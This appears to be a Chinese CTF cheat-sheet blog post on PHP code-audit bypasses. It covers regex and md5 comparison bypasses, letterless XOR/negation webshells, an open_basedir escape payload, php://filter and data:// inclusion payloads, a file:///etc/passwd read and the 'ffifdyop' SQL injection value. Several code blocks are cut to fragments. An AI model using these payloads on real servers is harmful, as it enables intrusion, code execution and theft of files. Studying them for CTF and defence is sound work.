前言
本篇文章专门用于记录做代码审计类题目的做题姿势,会不断更新。
案例来源于各大师傅们的博客和平时做题遇到。
phpinfo中的相关知识点
disable_functions 禁用的系统函数
PHP开启short_open_tag=on,即可使用短标签
preg_match绕过
| 1 | 
 | 
| 1 | if (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { | 
| 1 | # PCRE回溯绕过利用脚本 | 
md5、sha1绕过
| 1 | if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) | 
| 1 | if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])) | 
| 1 | $flag = "flag"; | 
关键字过滤后绕过
_ 的代替字符 
[
空格 的代替字符
${IFS}     ${IFS}$9     <     %09
混淆绕过
比如 cat 可以这样 c""at
json_decode特性
| 1 | 可以接收Unicode编码后的字符 | 
| 1 | $js = json_decode('{"name": "\u0068\u0065\u006c\u006c\u006f"}'); | 
basename缺陷
| 1 | 文件名首尾任何非ASCII码的字符都会被rename函数删除掉 | 
构造无字母webshell的三种方式
| 1 | 
 | 
在ctf中,我们一般遇到上面这种正则,不能传入字母和数字,是不是就不能执行webshell了呢,并不是,p神在他的博客中记录了三种方法,分别是异或、取反、自增。
异或
如果我们要构造 phpinfo POST GET system 这类关键字,我们可以通过 两个没有被过滤的字符进行异或得到。
演示
| 1 | 构造 phpinfo | 

生成脚本
python
| 1 | import urllib.parse | 
php
| 1 | $l = ""; | 
取反
与异或类似,不过它利用的是 UTF-8 编码中的某个汉子 , 将其中的某个字符提取出来 , 进行取反后得到对应字符
生成步骤
- 找到 “ - p“ 对应的 ASCII码,拿到对应的十六进制编码- 70
- 在前面添加两个十六进制数 . 这个数是任意的 . 然后将它取反 . 在线 - 比如这里用 - 7B,然后就行取反。-  
- 将取反后的数字写成 NCR 格式( &#x … ) , 并且将它转换为中文字符 在线 - 蒏

- 带入代码测试 , 取第二个字符( 第一个字符是你任意添加的 ) , 即可得到需要的字符
 
 
示范
构建 phpinfo 进行测试
p h i n f o 对应的 十六进制编码 70 68 69 6e 66 6f
加入 7b 取反
原字符 十六进制 取反 转为字符
p 7b70 848F 蒏
h 7b68 8497 蒗
i 7b69 8496 蒖
n 7b6e 8491 蒑
f 7b66 8499 蒙
o 7b6f 8490 蒐
| 1 | 
 | 

注意事项:这个写在php文件中能直接运行,通过GET传参就报错
eval()'d code:1 Stack trace:,经过多次测试,需要进行url编码提交才不会报错。
递增运算得到对应字符
这个就直接上代码,方式不一样,目的一样。
| 1 | p神案例 // ASSERT($_POST[_]); 这个仅支持 php5 php7 需要更换assert 为其他代码执行函数 | 

绕过 open_basedir/disable_function
open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
payload
| 1 | chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g')); | 
也可以用蚁剑 disable_functions 插件绕过
php伪协议
file://
用于访问文件(绝对路径、相对路径、网络路径)
| 1 | http://www.xx.com?file=file:///etc/passswd | 
php://
访问输入输出流
| 1 | http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码) | 
参数
| 1 | resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流 | 
php://input
| 1 | http://127.0.0.1/cmd.php?cmd=php://input | 
注意:enctype="multipart/form-data" 的时候 php://input 是无效的
data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到
base64编码传输
| 1 | http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b | 
来源:https://www.cnblogs.com/wjrblogs/p/12285202.html
extract变量覆盖
SESSION验证绕过
| 1 | 
 | 
md5加密相等绕过
| 1 | var_dump(md5('240610708') == md5('QNKCDZO')); | 
md5函数true绕过注入
| 1 | 
 | 
| 1 | ?password=ffifdyop | 
代码审计绕过特殊案例
| 1 | 
 | 
| 1 | ?args=GLOBALS | 
通过json_decode特性绕过
| 1 | 
 | 
| 1 | message={"key":true} | 
| 1 | 
 | 
| 1 | ?b=a[0]=s878926199a | 
| 1 | 
 | 
| 1 | user[]=1&name[]=1&password[]=2&id=72.0&login=Check |